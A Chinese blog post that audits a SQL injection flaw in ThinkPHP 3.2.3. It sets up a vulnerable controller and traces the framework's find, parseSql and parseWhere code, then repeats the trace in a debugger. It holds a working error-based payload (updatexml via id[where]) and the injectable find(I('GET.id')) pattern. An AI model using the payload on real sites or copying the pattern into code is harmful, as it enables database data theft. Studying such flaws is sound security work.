站长资讯网
最全最丰富的资讯网站

一起聊聊thinkPHP3.2.3中sql注入漏洞

本篇文章给大家带来了关于thinkphp的相关知识,其中主要介绍了thinkPHP3.2.3sql注入漏洞的相关问题,其中还包括了m方法、d方法、u方法等相关内容,希望对大家有帮助。

一起聊聊thinkPHP3.2.3中sql注入漏洞

推荐学习:《PHP视频教程》

前言

攻敌所必救:

  • ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法

  • Thinkphp3.2.3 安全开发须知

搭建:

  1. 首先第一步就是必须先放在www目录下(我是windows用的phpstudy)!!!!

  2. 创建数据库,表名一定与你接下来要M的名字的相对应

  3. 连接数据库的文件不多说了,自己配置:ThinkPHP/Conf/convention.php

  4. 配置控制器:WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php

    <?phpnamespace HomeController;use ThinkController;class IndexController extends Controller {     public function index(){         $this->show('原来内容已经省略,太占地方'); 		$data = M('user')->find(I('GET.id')); 		var_dump($data); 	}}
  5. 测试:

    一起聊聊thinkPHP3.2.3中sql注入漏洞

正文

payload:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));

I和M方法都没有什么问题,真正的问题在于

  1. find 方法上,来自/ThinkPHP/Mode/Lite/Model.class.php
 public function find($options=array()) {            // 根据复合主键查找记录         $pk  =  $this->getPk();         if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里             // 根据复合主键查询             $count = 0;             foreach (array_keys($options) as $key) {                 if (is_int($key)) $count++;              }              if ($count == count($pk)) {                 $i = 0;                 foreach ($pk as $field) {                     $where[$field] = $options[$i];                     unset($options[$i++]);                 }                 $options['where']  =  $where;             } else {                 return false;             }         }         // 总是查找一条记录         $options['limit']   =   1;         // 分析表达式         $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用      	$resultSet          =   $this->db->select($options);//重要的一步

2._parseOptions:因为主要针对options[where]所以无关代码我全删除了

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {         if(is_array($options))             $options =  array_merge($this->options,$options);         // 字段类型验证         if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])             // 对数组查询条件进行字段类型检查             foreach ($options['where'] as $key=>$val){                 $key            =   trim($key);                 if(in_array($key,$fields,true)){                     if(is_scalar($val)) {                         $this->_parseType($options['where'],$key);                     }                 }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){                     if(!empty($this->options['strict'])){                         E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');                     }                      unset($options['where'][$key]);                 }             }         }     //上面均没用,到现在开始有用:?         // 查询过后清空sql表达式组装 避免影响下次查询         $this->options  =   array();         // 表达式过滤         $this->_options_filter($options);//这里值得注意         return $options;     }

3._options_filter

到这就无了

一起聊聊thinkPHP3.2.3中sql注入漏洞

而且上面的操作也会清零 $options,所以这里可能是进错了

所以更正第二部的跟踪,改为

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {         $this->model  =   $options['model'];         $this->parseBind(!empty($options['bind'])?$options['bind']:array());         $sql    = $this->buildSelectSql($options);         $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);         return $result;     }

3.buildSelectSql:地址同上

public function buildSelectSql($options=array()) {         if(isset($options['page'])) {             // 根据页数计算limit             list($page,$listRows)   =   $options['page'];             $page    =  $page>0 ? $page : 1;             $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);             $offset  =  $listRows*($page-1);             $options['limit'] =  $offset.','.$listRows;         }         $sql  =   $this->parseSql($this->selectSql,$options);         return $sql;     }

4.parseSql:地址同上

public function parseSql($sql,$options=array()){         $sql   = str_replace(             array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),             array(                 $this->parseTable($options['table']),                 $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),                 $this->parseField(!empty($options['field'])?$options['field']:'*'),                 $this->parseJoin(!empty($options['join'])?$options['join']:''),                 $this->parseWhere(!empty($options['where'])?$options['where']:''),                 $this->parseGroup(!empty($options['group'])?$options['group']:''),                 $this->parseHaving(!empty($options['having'])?$options['having']:''),                 $this->parseOrder(!empty($options['order'])?$options['order']:''),                 $this->parseLimit(!empty($options['limit'])?$options['limit']:''),                 $this->parseUnion(!empty($options['union'])?$options['union']:''),                 $this->parseLock(isset($options['lock'])?$options['lock']:false),                 $this->parseComment(!empty($options['comment'])?$options['comment']:''),                 $this->parseForce(!empty($options['force'])?$options['force']:'')             ),$sql);         return $sql;     }

5.parseWhere:同上

protected function parseWhere($where) {         $whereStr = '';         if(is_string($where)) {//直接满足,直接进入             // 直接使用字符串条件             $whereStr = $where;         }else{ // 使用数组表达式         }             return empty($whereStr)?'':' WHERE '.$whereStr;}

最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

然后

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;

整个过程没有任何过滤,seay分析thinkPHP太飞费劲了

PHPstorm断点审计:

payload不变:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

还是跟踪find函数:

一起聊聊thinkPHP3.2.3中sql注入漏洞

跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数

一起聊聊thinkPHP3.2.3中sql注入漏洞

经核实,步入到了另一个函数中:

一起聊聊thinkPHP3.2.3中sql注入漏洞

继续跟踪buildSelectSql:

一起聊聊thinkPHP3.2.3中sql注入漏洞

继续跟踪parseSql:

一起聊聊thinkPHP3.2.3中sql注入漏洞

最后的代码变成了:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
还是debug起来方便,基本不需要怎么动脑

推荐学习:《PHP视频教程》

赞(0)
分享到: 更多 (0)